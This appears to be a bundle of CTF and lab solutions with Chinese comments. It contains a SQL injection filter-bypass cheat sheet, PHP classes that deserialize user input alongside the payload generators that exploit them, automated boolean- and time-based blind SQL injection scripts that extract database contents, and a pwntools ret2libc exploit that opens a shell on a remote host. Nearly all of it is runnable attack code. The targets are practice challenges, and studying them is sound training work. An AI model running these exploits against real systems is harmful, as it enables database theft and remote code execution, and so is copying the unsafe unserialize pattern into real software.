1hex()、bin() ==> ascii()
 2
 3sleep() ==>benchmark()
 4
 5concat_ws()==>group_concat()
 6
 7mid()、substr() ==> substring()
 8
 9@@user ==> user()
10
11@@datadir ==> datadir()
12
13举例：substring()和substr()无法使用时：?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74　
14
15或者：
16substr((select 'password'),1,1) = 0x70
17strcmp(left('password',1), 0x69) = 1
18strcmp(left('password',1), 0x70) = 0
19strcmp(left('password',1), 0x71) = -1

 1<?php
 2
 3error_reporting(0);
 4show_source("cl45s.php");
 5
 6class wllm{
 7
 8    public $admin;
 9    public $passwd;
10
11    public function __construct(){
12        $this->admin ="user";
13        $this->passwd = "123456";
14    }
15
16        public function __destruct(){
17        if($this->admin === "admin" && $this->passwd === "ctf"){
18            include("flag.php");
19            echo $flag;
20        }else{
21            echo $this->admin;
22            echo $this->passwd;
23            echo "Just a bit more!";
24        }
25    }
26}
27
28$p = $_GET['p'];
29unserialize($p);
30
31?>

 1<?php
 2class wllm{
 3
 4    public $admin;
 5    public $passwd;
 6
 7    public function __construct(){
 8        $this->admin ="admin";
 9        $this->passwd = "ctf";
10    }
11
12}
13$a=new wllm();
14$b=$a;
15unset($a);
16echo(serialize($b));
17
18?>

  1import requests
  2
  3url = "http://1.14.71.254:28019/index.php"
  4cont = "没有提示..........."
  5
  6
  7def get_database_length():
  8    for i in range(1, 10):
  9        payload = "?id=1'and length(database())=%d --+" % i
 10        uri = url + payload
 11        result = requests.get(uri)
 12        if cont in result.text:
 13            print("数据库名长度为：%d" % i)
 14            return i
 15
 16
 17def get_database_name():
 18    name = ""
 19    for i in range(1, db_len + 1):
 20        for j in "abcdefghijklmnopqrstuvwxyz_":
 21            payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
 22            uri = url + payload
 23            result = requests.get(uri)
 24            if cont in result.text:
 25                name += j
 26    print("数据库名为：%s" % name)
 27    return name
 28
 29
 30def get_table_number():
 31    num = 0
 32    while 1:
 33        payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
 34                  "table_schema='%s' limit %d,1--+" % (db_name, num)
 35        uri = url + payload
 36        result = requests.get(uri)
 37        if cont in result.text:
 38            num += 1
 39        else:
 40            break
 41    print("表的数目为：%d" % num)
 42    return num
 43
 44
 45def get_table_length(n):
 46    for i in range(1, 20):
 47        payload = "?id=1' and length((select table_name from information_schema.tables where " \
 48                  "table_schema='%s'  limit %d,1))=%d --+" % (db_name, n, i)
 49        uri = url + payload
 50        result = requests.get(uri)
 51        if cont in result.text:
 52            return i
 53
 54
 55def get_table_names():
 56    names = []
 57    for i in range(0, tb_num):
 58        name = ""
 59        tb_len = get_table_length(i)
 60        for j in range(0, tb_len + 1):
 61            for k in "abcdefghijklmnopqrstuvwxyz_":
 62                payload = "?id=1' and substr((select table_name from information_schema.tables where " \
 63                          "table_schema='%s'  limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
 64                uri = url + payload
 65                result = requests.get(uri)
 66                if cont in result.text:
 67                    name += k
 68        names.append(name)
 69    print(names)
 70    return names
 71
 72
 73def get_column_num(i):
 74    num = 0
 75    while 1:
 76        payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
 77                  "table_name='%s' limit %d,1--+" % (tb_names[i], num)
 78        uri = url + payload
 79        result = requests.get(uri)
 80        if cont in result.text:
 81            num += 1
 82        else:
 83            break
 84    print("第%d个表，有%d列" % (i + 1, num))
 85    return num
 86
 87
 88def get_column_length(i, j):
 89    for n in range(1, 20):
 90        payload = "?id=1' and length((select column_name from information_schema.columns where " \
 91                  "table_name='%s'  limit %d,1))=%d --+" % (tb_names[i], j, n)
 92        uri = url + payload
 93        result = requests.get(uri)
 94        if cont in result.text:
 95            return n
 96
 97
 98def get_column_name():
 99    names = [[] for _ in range(tb_num)]
100    for i in range(0, tb_num):
101        cl_num = get_column_num(i)
102        for j in range(0, cl_num):
103            name = ""
104            cl_len = get_column_length(i, j)
105            for y in range(1, cl_len + 1):
106                for k in "qwertyuiopasdfghjklzxcvbnm_":
107                    payload = "?id=1' and substr((select column_name from information_schema.columns where " \
108                              "table_name='%s'  limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
109                    uri = url + payload
110                    result = requests.get(uri)
111                    if cont in result.text:
112                        name += k
113            names[i].append(name)
114    print(names)
115
116
117def get_data_num(i, j):
118    num = 0
119    for n in range(0, 20):
120        payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
121        uri = url + payload
122        result = requests.get(uri)
123        if cont in result.text:
124            num += 1
125    return num
126
127
128def get_data_length(i, j, k):
129    for n in range(1, 20):
130        payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
131        uri = url + payload
132        result = requests.get(uri)
133        if cont in result.text:
134            return n
135
136
137def get_data(i, j):
138    da = []
139    data_num = get_data_num(i, j)
140    for n in range(0, data_num):
141        d = ""
142        data_len = get_data_length(i, j, n)
143        for z in range(1, data_len + 1):
144            for k in "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-{}":
145                payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
146                uri = url + payload
147                result = requests.get(uri)
148                if cont in result.text:
149                    d += k
150        da.append(d)
151    print(da)
152
153
154if __name__ == '__main__':
155    db_len = get_database_length()
156    db_name = get_database_name()
157    tb_num = get_table_number()
158    tb_names = get_table_names()
159    get_column_name()
160    while 1:
161        table_name, column_name = input("输入表名列名查询数据，以空格间隔：").split()
162        get_data(table_name, column_name)

 1<?php
 2
 3header("Content-type:text/html;charset=utf-8");
 4error_reporting(0);
 5show_source("class.php");
 6
 7class HaHaHa{
 8
 9
10        public $admin;
11        public $passwd;
12
13        public function __construct(){
14            $this->admin ="user";
15            $this->passwd = "123456";
16        }
17
18        public function __wakeup(){
19            $this->passwd = sha1($this->passwd);
20        }
21
22        public function __destruct(){
23            if($this->admin === "admin" && $this->passwd === "wllm"){
24                include("flag.php");
25                echo $flag;
26            }else{
27                echo $this->passwd;
28                echo "No wake up";
29            }
30        }
31    }
32
33$Letmeseesee = $_GET['p'];
34unserialize($Letmeseesee);
35
36?>

 1<?php
 2
 3class HaHaHa{
 4
 5        public $admin;
 6        public $passwd;
 7
 8        public function __construct(){
 9            $this->admin ="admin";
10            $this->passwd = "wllm";
11        }
12    }
13
14$a=new HaHaHa();
15$b=$a;
16unset($a);
17echo(serialize($b));
18
19?>

 1<?php
 2
 3error_reporting(0);
 4show_source("index.php");
 5
 6class w44m{
 7
 8    private $admin = 'aaa';
 9    protected $passwd = '123456';
10
11    public function Getflag(){
12        if($this->admin === 'w44m' && $this->passwd ==='08067'){
13            include('flag.php');
14            echo $flag;
15        }else{
16            echo $this->admin;
17            echo $this->passwd;
18            echo 'nono';
19        }
20    }
21}
22
23class w22m{
24    public $w00m;
25    public function __destruct(){
26        echo $this->w00m;
27    }
28}
29
30class w33m{
31    public $w00m;
32    public $w22m;
33    public function __toString(){
34        $this->w00m->{$this->w22m}();
35        return 0;
36    }
37}
38
39$w00m = $_GET['w00m'];
40unserialize($w00m);
41
42?>

 1<?php
 2
 3class w44m{
 4
 5    private $admin = 'w44m';
 6    protected $passwd = '08067';
 7
 8}
 9
10class w22m{
11    public $w00m;
12}
13
14class w33m{
15    public $w00m;
16    public $w22m;
17}
18
19$a=new w44m();
20$b=new w22m();
21$b->w00m=new w33m();
22$b->w00m->w00m=$a;
23$b->w00m->w22m='Getflag';
24unset($a);
25echo serialize($b);
26
27?>

 1from pwn import *
 2from LibcSearcher import *
 3p=remote('1.14.71.254',28132)
 4e=ELF('./pwn3')
 5put_plt=e.plt['puts']
 6put_got=e.got['puts']
 7main_add=e.sym['main']
 8rdi_add=0x0000000000400763
 9p.sendline(b'a'*0x18+p64(rdi_add)+p64(put_got)+p64(put_plt)+p64(main_add))
10d=p.read()[:-1]
11d=u64(d.ljust(8,b'\x00'))
12libc=LibcSearcher('puts',d)
13off=d-libc.dump('puts')
14sys_add=off+libc.dump('system')
15bin_add=off+libc.dump('str_bin_sh')
16p.sendline(b'a'*0x18+p64(rdi_add)+p64(bin_add)+p64(sys_add)+p64(main_add))
17p.interactive()

  1import requests
  2
  3url = "http://localhost/Less-8/"
  4cont = "You are in..........."
  5
  6
  7def get_database_length():
  8    for i in range(1, 10):
  9        payload = "?id=1'and length(database())=%d --+" % i
 10        uri = url + payload
 11        result = requests.get(uri)
 12        if cont in result.text:
 13            print("数据库名长度为：%d" % i)
 14            return i
 15
 16
 17def get_database_name():
 18    name = ""
 19    for i in range(1, db_len + 1):
 20        for j in "abcdefghijklmnopqrstuvwxyz":
 21            payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
 22            uri = url + payload
 23            result = requests.get(uri)
 24            if cont in result.text:
 25                name += j
 26    print("数据库名为：%s" % name)
 27    return name
 28
 29
 30def get_table_number():
 31    num = 0
 32    while 1:
 33        payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
 34                  "table_schema='%s' limit %d,1--+" % (db_name, num)
 35        uri = url + payload
 36        result = requests.get(uri)
 37        if cont in result.text:
 38            num += 1
 39        else:
 40            break
 41    print("表的数目为：%d" % num)
 42    return num
 43
 44
 45def get_table_length(n):
 46    for i in range(1, 20):
 47        payload = "?id=1' and length((select table_name from information_schema.tables where " \
 48                  "table_schema='%s'  limit %d,1))=%d --+" % (db_name, n, i)
 49        uri = url + payload
 50        result = requests.get(uri)
 51        if cont in result.text:
 52            return i
 53
 54
 55def get_table_names():
 56    names = []
 57    for i in range(0, tb_num):
 58        name = ""
 59        tb_len = get_table_length(i)
 60        for j in range(0, tb_len + 1):
 61            for k in "abcdefghijklmnopqrstuvwxyz":
 62                payload = "?id=1' and substr((select table_name from information_schema.tables where " \
 63                          "table_schema='%s'  limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
 64                uri = url + payload
 65                result = requests.get(uri)
 66                if cont in result.text:
 67                    name += k
 68        names.append(name)
 69    print(names)
 70    return names
 71
 72
 73def get_column_num(i):
 74    num = 0
 75    while 1:
 76        payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
 77                  "table_name='%s' limit %d,1--+" % (tb_names[i], num)
 78        uri = url + payload
 79        result = requests.get(uri)
 80        if cont in result.text:
 81            num += 1
 82        else:
 83            break
 84    print("第%d个表，有%d列" % (i + 1, num))
 85    return num
 86
 87
 88def get_column_length(i, j):
 89    for n in range(1, 20):
 90        payload = "?id=1' and length((select column_name from information_schema.columns where " \
 91                  "table_name='%s'  limit %d,1))=%d --+" % (tb_names[i], j, n)
 92        uri = url + payload
 93        result = requests.get(uri)
 94        if cont in result.text:
 95            return n
 96
 97
 98def get_column_name():
 99    names = [[] for _ in range(tb_num)]
100    for i in range(0, tb_num):
101        cl_num = get_column_num(i)
102        for j in range(0, cl_num):
103            name = ""
104            cl_len = get_column_length(i, j)
105            for y in range(1, cl_len + 1):
106                for k in "qwertyuiopasdfghjklzxcvbnm":
107                    payload = "?id=1' and substr((select column_name from information_schema.columns where " \
108                              "table_name='%s'  limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
109                    uri = url + payload
110                    result = requests.get(uri)
111                    if cont in result.text:
112                        name += k
113            names[i].append(name)
114    print(names)
115
116
117def get_data_num(i, j):
118    num = 0
119    for n in range(0, 20):
120        payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
121        uri = url + payload
122        result = requests.get(uri)
123        if cont in result.text:
124            num += 1
125    return num
126
127
128def get_data_length(i, j, k):
129    for n in range(1, 20):
130        payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
131        uri = url + payload
132        result = requests.get(uri)
133        if cont in result.text:
134            return n
135
136
137def get_data(i, j):
138    da = []
139    data_num = get_data_num(i, j)
140    for n in range(0, data_num):
141        d=""
142        data_len = get_data_length(i, j, n)
143        for z in range(1, data_len + 1):
144            for k in "qwertyuiopasdfghjklzxcvbnm1234567890":
145                payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
146                uri = url + payload
147                result = requests.get(uri)
148                if cont in result.text:
149                    d += k
150        da.append(d)
151    print(da)
152
153
154if __name__ == '__main__':
155    db_len = get_database_length()
156    db_name = get_database_name()
157    tb_num = get_table_number()
158    tb_names = get_table_names()
159    get_column_name()
160    while 1:
161        table_name, column_name = input("输入表名列名查询数据，以空格间隔：").split()
162        get_data(table_name, column_name)

  1import requests
  2import datetime
  3
  4url = "http://localhost/sql-labs/Less-9/?id=1'"
  5
  6
  7def get_dbname():
  8    dbname = ''
  9    for i in range(1, 9):
 10        for k in range(32, 127):
 11            payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i, k)
 12            # payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)
 13            # if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒，也可以和1调换位置（那样就是如果语句错误休眠两秒）
 14            time1 = datetime.datetime.now()
 15            # 获得提交payload之前的时间
 16            res = requests.get(url + payload)
 17            time2 = datetime.datetime.now()
 18            # 获得payload提交后的时间
 19            difference = (time2 - time1).seconds
 20            # time，time2时间差，seconds是只查看秒
 21            if difference > 1:
 22                dbname += chr(k)
 23            else:
 24                continue
 25        print("数据库名为->" + dbname)
 26
 27
 28get_dbname()
 29
 30
 31def get_table():
 32    table1 = ''
 33    table2 = ''
 34    table3 = ''
 35    table4 = ''
 36    for i in range(5):
 37        for j in range(6):
 38            for k in range(32, 127):
 39                payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+" % (
 40                i, j, k)
 41                time1 = datetime.datetime.now()
 42                res = requests.get(url + payload)
 43                time2 = datetime.datetime.now()
 44                difference = (time2 - time1).seconds
 45                if difference > 1:
 46                    if i == 0:
 47                        table1 += chr(k)
 48                        print("第一个表为->" + table1)
 49                    elif i == 1:
 50                        table2 += chr(k)
 51                        print("第二个表为->" + table2)
 52                    elif i == 3:
 53                        table3 += chr(k)
 54                        print("第三个表为->" + table3)
 55                    elif i == 4:
 56                        table4 += chr(k)
 57                        print("第四个表为->" + table4)
 58                    else:
 59                        break
 60
 61
 62get_table()
 63
 64
 65def get_column():
 66    column1 = ''
 67    column2 = ''
 68    column3 = ''
 69    for i in range(3):
 70        for j in range(1, 9):
 71            for k in range(32, 127):
 72                payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+" % (
 73                i, j, k)
 74                time1 = datetime.datetime.now()
 75                res = requests.get(url + payload)
 76                time2 = datetime.datetime.now()
 77                difference = (time2 - time1).seconds
 78                if difference > 1:
 79                    if i == 0:
 80                        column1 += chr(k)
 81                        print("字段一为->" + column1)
 82                    if i == 1:
 83                        column2 += chr(k)
 84                        print("字段二为->" + column2)
 85                    if i == 2:
 86                        column3 += chr(k)
 87                        print("字段三为->" + column3)
 88                    else:
 89                        break
 90
 91
 92get_column()
 93
 94
 95def get_flag():
 96    flag = ''
 97    for i in range(30):
 98        for k in range(32, 127):
 99            payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+" % (i, k)
100            time1 = datetime.datetime.now()
101            res = requests.get(url + payload)
102            time2 = datetime.datetime.now()
103            difference = (time2 - time1).seconds
104            if difference > 1:
105                flag += chr(k)
106                print("flag为->" + flag)
107
108
109get_flag()